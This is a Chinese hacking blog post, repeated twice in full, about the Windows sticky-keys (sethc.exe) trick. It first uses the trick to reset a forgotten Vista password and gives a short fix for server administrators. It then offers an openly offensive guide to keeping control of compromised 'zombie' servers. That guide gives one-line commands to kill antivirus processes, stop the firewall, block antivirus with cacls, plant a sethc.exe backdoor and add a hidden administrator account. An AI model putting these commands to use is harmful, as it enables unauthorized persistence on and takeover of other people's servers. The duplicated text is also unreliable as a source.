用粘滞键本地破解WINDOWS XP /2003/vista 密码
|
________________________________________________________________________________________________________ sanhen版________________________________________________________________________________________________________ Windows的粘滞键。是按5下shift后，windows就执行了system32下的sethc.exe ___________________________________________________________________________________________ jaycee版 ___________________________________________________________________________________________ 安装XP+Vista双系统的用户越来越多，不过总有些马大哈们会忘记Vista账户密码。由于Vista采用比XP更为严格的登录认证，如果遗忘登录密码，我们是很难进入系统的。不过，<微软在登录界面有一个粘滞键漏洞，可以用它来进入Vista。 粘滞键漏洞是指我们在登录界面按五下Shif启动粘滞键（系统目录下的sethc.exe），因此我们可以在XP下用cmd.exe替换sethc.exe启动命令提示符，然后利用命令提示符进入Vista重置账户密码。这里双系统假设为C盘为XP，D盘为Vista。 第一步：进入XP系统后打开d:\windows system32，右击sethc.exe选择“属性”打开属性设置窗口，单击“安全”标签，接着单击“高级”。 第二步：在高级属性安全设置窗口切换到“所有者”标签，在所有者列表选择当前XP登录账户，然后单击“应用”并依次关闭所有窗口。 由于Vista的安装分区是NTFS格式，我们只有在XP下更改sethc.exe文件所有权后才能进行替换操作。如果属性窗口没有“安全”标签。需要打开资源管理器，单击“工具→文件夹选项”，在打开的窗口去除“使用简单文件夹共享（推荐）”前的勾选。 第三步：同上再次打开sethc.exe的属性窗口并切换到“安全”标签，单击“添加”，把当前XP账户添加到“组或用户名称”列表，同时将该账户对sethc.exe的完全控制权限设置为“允许”。然后启动命令提示符输入下列命令进行替换操作： Rename d:\windows\system32\sethc.exe sethc1.exe（把粘滞键程序改名为sethc1.exe） Copy d:\windows\system32\cmd.exe d:\windows\system32\sethc.exe（复制命令提示符为sethc.exe） 第四步：重启电脑登录Vista，在Vista登录界面按五下Shif启动粘滞键，这时启动的就是命令提示符界面，输入Explorer.exe启动桌面。成功加载文件后我们就可以看到开始菜单，这里是以系统内置SYSTEM账户启动的桌面（可以在开始菜单用户图标下看到）。首先介绍一下sethc.exe入侵的原理吧： sethc.exe就是win系统里自带的鸡肋功能,所谓的粘滞键, 哎 没一点P用 反而被一些所谓的黑客们,用来 在入侵别人服务器后 给服务器上装后门所用. 用COPY命令将cmd.exe复制为sethc.exe,这样在登陆界面是连按五下左SHIFT就可以调出我们可爱的CMD命令 窗口SHELL(系统权限)了！----------------------copy cmd.exe sethc.exe 限).... 以登陆了!.. 解决的方法： 很多人的服务器都被黑客入侵.并被利用了系统的这个漏洞做了后门,在这里我说一下在windows2003 server系统中这个后门的简单处理方法: 1.删除C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注 意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作 系统文件"的选择取消才能看得到). 2.使用权限来约束这两个文件C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的 sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐 藏受系统保护的操作系统文件"的选择取消才能看得到). 在权限里设置为所有用户(Everyone)禁止运行 粘滞键漏洞,按5下shift后,windows就执行了system32下的sethc.exeWindows的粘滞键。是按5下shift后，windows就执行了system32下的sethc.exe。即使 用shift键破解windows的登录密码. 当各位搞到一个shell，或者能远程执行命令之后，如何提权并保持肉鸡长期上线是一个难题。本人仅根据个人经验，旁敲侧击的谈几个常用命令，算是抛砖引玉，欢迎大家前来指导交流! 首先，提一下搞肉鸡，方法很多，1433、135、21，80、3389、4389，5900等端口都是常用的(有兴趣的可以下载专门的扫描器或者s扫描器)。 另外，说一下肉鸡的系统环境，一般都是服务器，所以杀毒软件、防火墙啥的相对来说还是比较牢固的，所以如何干扰并跳过这些保护也就是提权的关键。 最后，如何保持这个肉鸡长久上线，是目的所在，显然需要设置后门或者种植木马。 注：下文对喜欢3389直接远程登陆的用户不适用(不过善意提醒你，你留下了登陆等很多日志，呵呵); 常见命令， 如ipconfig、netstat等这儿不涉及，大家都会。 下面转入正文。 1.ver 作用：查看系统版本 实例：ver 说明：提权第一步就是查看这个是个人机器还是服务。 2.tasklist 作用：列出机器的所有进程 实例：tasklist 说明：用它你就可以知道肉鸡的杀毒软件、防火墙是啥。后面就好办了，给他中马的时候，首先本地测试，免杀，再种上去，防止中马不成功，或者留下查杀记录。(笨的办法可以直接停止杀毒软件，见后面命令。不过这样管理员就肯定知道自己中木马了，你长久控制肉鸡的目标也就要破碎了)。 3.taskkill 作用：杀制定名字或者pid的进程 实例: taskkill /f /im 360safe.exe 或者 taskkill /f /pid 3389 说明：使用它可以结束防火墙进程啥的。因为它阻止你打开网络端口，或者以这台肉鸡为代理进行其他扫描、入侵啥的。当然，也可以结束杀毒软件等。 4 start 作用：列出机器所有服务或者启动某个指定的服务 实例: net start 或者 net start w3svc(启动iis) 说明:通过它列出的所有服务可以看到服务器安装的杀毒软件，以及开放哪些服务。比如有瑞星服务，则你单独用taskkill是无法结束杀毒进程的，只能先停止服务。 比如有 Terminal Services则可以通过net u_ser(_去掉，因为华夏屏蔽)增加一个帐号，再3389登陆。 5 stop 作用：停止指定的服务 实例: net stop net stop sharedaccess (停止windows防火墙) 说明：结合net start使用 6.cacls 作用：设置文件权限 实例: cacls c:\windows\mm.exe /P everyone:R 或者cacls c:\progra~1\rising\ravmond.exe /d:everyone 说明：可以用它来保护木马文件或者禁止某个程序(如杀毒软件)运行。这个在有时候，我们taskkill某个进程，发现马上又起来了比较有用。 设置为/d:everyone,任何人无法访问，自然没法再运行。(这一招也可以用来杀木马或者免疫：可参看/it%5Fsecurity/blog/item/f23295008170bb001c958348.html) 7.& 作用:连续执行多个命令 实例:del c:\windows\system32\sethc.exe & del c:\windows\system32\dllcache\sethc.exe & copy c:\windows\explorer.exe c:\windows\system32\dllcache\sethc.exe & copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 说明：上面是最简单的shift按多次后跳出资源管理器下后门。直接拷贝一次执行即可，不用批处理拉。 注：上面操作，你如果一步一步操作，早就被系统还原了，没法实现文件替换、设置后门。 8.echo y| 作用:当命令行执行碰到提示“是否确定(Y/N)?”的时候自动输入Y(因为你没法一边执行命令一边还可以选择y 或n) 实例：echo y>echo y>cacls c:\windows\mm.exe /P everyone:R; 说明：将上面shift按多次后门简化：echo y | copy c:\windows\explorer.exe c:\windows\system32\dllcache\sethc.exe & echo y | copy c:\windows\explorer.exe c:\windows\system32\sethc.exe (直接拷贝的时候会提示是否覆盖，这儿通过echo y解决) 9 us_er/group(_去掉，因为华夏屏蔽) 作用：开帐号，并加入到组(一般是administrators组) 实例：net u_ser admin$ "123456" & net local_group administrators admin$ /add 说明：以上通过 &操作符又是一步到位。另外，通过这种方法建立的帐号，仅一次隐藏。如长期隐藏，可参考:/it%5Fsecurity/blog/item/9bab86a0a60fac8d471064b5.html 10.shutdown 作用：重启或者关闭机器，或者取消关机 实例：shutdown -r -t 0(立即重启) 说明：该重启的时候重启吧，一般开服务或者中马之后。 以上命令有些2000下可能无法运行，xp，2003下肯定ok。 后续，我再总结一下如何通过命令行来中马。 主要是通过ftp或者http下载或传输文件(完全命令行方式)，同时也呼吁大家多共享自己得经验，共同提高。 |
用粘滞键本地破解WINDOWS XP /2003/vista 密码
|
________________________________________________________________________________________________________ sanhen版________________________________________________________________________________________________________ Windows的粘滞键。是按5下shift后，windows就执行了system32下的sethc.exe ___________________________________________________________________________________________ jaycee版 ___________________________________________________________________________________________ 安装XP+Vista双系统的用户越来越多，不过总有些马大哈们会忘记Vista账户密码。由于Vista采用比XP更为严格的登录认证，如果遗忘登录密码，我们是很难进入系统的。不过，<微软在登录界面有一个粘滞键漏洞，可以用它来进入Vista。 粘滞键漏洞是指我们在登录界面按五下Shif启动粘滞键（系统目录下的sethc.exe），因此我们可以在XP下用cmd.exe替换sethc.exe启动命令提示符，然后利用命令提示符进入Vista重置账户密码。这里双系统假设为C盘为XP，D盘为Vista。 第一步：进入XP系统后打开d:\windows system32，右击sethc.exe选择“属性”打开属性设置窗口，单击“安全”标签，接着单击“高级”。 第二步：在高级属性安全设置窗口切换到“所有者”标签，在所有者列表选择当前XP登录账户，然后单击“应用”并依次关闭所有窗口。 由于Vista的安装分区是NTFS格式，我们只有在XP下更改sethc.exe文件所有权后才能进行替换操作。如果属性窗口没有“安全”标签。需要打开资源管理器，单击“工具→文件夹选项”，在打开的窗口去除“使用简单文件夹共享（推荐）”前的勾选。 第三步：同上再次打开sethc.exe的属性窗口并切换到“安全”标签，单击“添加”，把当前XP账户添加到“组或用户名称”列表，同时将该账户对sethc.exe的完全控制权限设置为“允许”。然后启动命令提示符输入下列命令进行替换操作： Rename d:\windows\system32\sethc.exe sethc1.exe（把粘滞键程序改名为sethc1.exe） Copy d:\windows\system32\cmd.exe d:\windows\system32\sethc.exe（复制命令提示符为sethc.exe） 第四步：重启电脑登录Vista，在Vista登录界面按五下Shif启动粘滞键，这时启动的就是命令提示符界面，输入Explorer.exe启动桌面。成功加载文件后我们就可以看到开始菜单，这里是以系统内置SYSTEM账户启动的桌面（可以在开始菜单用户图标下看到）。首先介绍一下sethc.exe入侵的原理吧： sethc.exe就是win系统里自带的鸡肋功能,所谓的粘滞键, 哎 没一点P用 反而被一些所谓的黑客们,用来 在入侵别人服务器后 给服务器上装后门所用. 用COPY命令将cmd.exe复制为sethc.exe,这样在登陆界面是连按五下左SHIFT就可以调出我们可爱的CMD命令 窗口SHELL(系统权限)了！----------------------copy cmd.exe sethc.exe 限).... 以登陆了!.. 解决的方法： 很多人的服务器都被黑客入侵.并被利用了系统的这个漏洞做了后门,在这里我说一下在windows2003 server系统中这个后门的简单处理方法: 1.删除C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的sethc.exe文件,(注 意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐藏受系统保护的操作 系统文件"的选择取消才能看得到). 2.使用权限来约束这两个文件C:\WINDOWS\system32和C:\WINDOWS\system32\dllcache这两个目录的 sethc.exe文件,(注意:dllcache这个目录是隐藏的,要在文件夹选项里选择"显示所有文件和文件夹"把"隐 藏受系统保护的操作系统文件"的选择取消才能看得到). 在权限里设置为所有用户(Everyone)禁止运行 粘滞键漏洞,按5下shift后,windows就执行了system32下的sethc.exeWindows的粘滞键。是按5下shift后，windows就执行了system32下的sethc.exe。即使 用shift键破解windows的登录密码. 当各位搞到一个shell，或者能远程执行命令之后，如何提权并保持肉鸡长期上线是一个难题。本人仅根据个人经验，旁敲侧击的谈几个常用命令，算是抛砖引玉，欢迎大家前来指导交流! 首先，提一下搞肉鸡，方法很多，1433、135、21，80、3389、4389，5900等端口都是常用的(有兴趣的可以下载专门的扫描器或者s扫描器)。 另外，说一下肉鸡的系统环境，一般都是服务器，所以杀毒软件、防火墙啥的相对来说还是比较牢固的，所以如何干扰并跳过这些保护也就是提权的关键。 最后，如何保持这个肉鸡长久上线，是目的所在，显然需要设置后门或者种植木马。 注：下文对喜欢3389直接远程登陆的用户不适用(不过善意提醒你，你留下了登陆等很多日志，呵呵); 常见命令， 如ipconfig、netstat等这儿不涉及，大家都会。 下面转入正文。 1.ver 作用：查看系统版本 实例：ver 说明：提权第一步就是查看这个是个人机器还是服务。 2.tasklist 作用：列出机器的所有进程 实例：tasklist 说明：用它你就可以知道肉鸡的杀毒软件、防火墙是啥。后面就好办了，给他中马的时候，首先本地测试，免杀，再种上去，防止中马不成功，或者留下查杀记录。(笨的办法可以直接停止杀毒软件，见后面命令。不过这样管理员就肯定知道自己中木马了，你长久控制肉鸡的目标也就要破碎了)。 3.taskkill 作用：杀制定名字或者pid的进程 实例: taskkill /f /im 360safe.exe 或者 taskkill /f /pid 3389 说明：使用它可以结束防火墙进程啥的。因为它阻止你打开网络端口，或者以这台肉鸡为代理进行其他扫描、入侵啥的。当然，也可以结束杀毒软件等。 4 start 作用：列出机器所有服务或者启动某个指定的服务 实例: net start 或者 net start w3svc(启动iis) 说明:通过它列出的所有服务可以看到服务器安装的杀毒软件，以及开放哪些服务。比如有瑞星服务，则你单独用taskkill是无法结束杀毒进程的，只能先停止服务。 比如有 Terminal Services则可以通过net u_ser(_去掉，因为华夏屏蔽)增加一个帐号，再3389登陆。 5 stop 作用：停止指定的服务 实例: net stop net stop sharedaccess (停止windows防火墙) 说明：结合net start使用 6.cacls 作用：设置文件权限 实例: cacls c:\windows\mm.exe /P everyone:R 或者cacls c:\progra~1\rising\ravmond.exe /d:everyone 说明：可以用它来保护木马文件或者禁止某个程序(如杀毒软件)运行。这个在有时候，我们taskkill某个进程，发现马上又起来了比较有用。 设置为/d:everyone,任何人无法访问，自然没法再运行。(这一招也可以用来杀木马或者免疫：可参看/it%5Fsecurity/blog/item/f23295008170bb001c958348.html) 7.& 作用:连续执行多个命令 实例:del c:\windows\system32\sethc.exe & del c:\windows\system32\dllcache\sethc.exe & copy c:\windows\explorer.exe c:\windows\system32\dllcache\sethc.exe & copy c:\windows\explorer.exe c:\windows\system32\sethc.exe 说明：上面是最简单的shift按多次后跳出资源管理器下后门。直接拷贝一次执行即可，不用批处理拉。 注：上面操作，你如果一步一步操作，早就被系统还原了，没法实现文件替换、设置后门。 8.echo y| 作用:当命令行执行碰到提示“是否确定(Y/N)?”的时候自动输入Y(因为你没法一边执行命令一边还可以选择y 或n) 实例：echo y>echo y>cacls c:\windows\mm.exe /P everyone:R; 说明：将上面shift按多次后门简化：echo y | copy c:\windows\explorer.exe c:\windows\system32\dllcache\sethc.exe & echo y | copy c:\windows\explorer.exe c:\windows\system32\sethc.exe (直接拷贝的时候会提示是否覆盖，这儿通过echo y解决) 9 us_er/group(_去掉，因为华夏屏蔽) 作用：开帐号，并加入到组(一般是administrators组) 实例：net u_ser admin$ "123456" & net local_group administrators admin$ /add 说明：以上通过 &操作符又是一步到位。另外，通过这种方法建立的帐号，仅一次隐藏。如长期隐藏，可参考:/it%5Fsecurity/blog/item/9bab86a0a60fac8d471064b5.html 10.shutdown 作用：重启或者关闭机器，或者取消关机 实例：shutdown -r -t 0(立即重启) 说明：该重启的时候重启吧，一般开服务或者中马之后。 以上命令有些2000下可能无法运行，xp，2003下肯定ok。 后续，我再总结一下如何通过命令行来中马。 主要是通过ftp或者http下载或传输文件(完全命令行方式)，同时也呼吁大家多共享自己得经验，共同提高。 |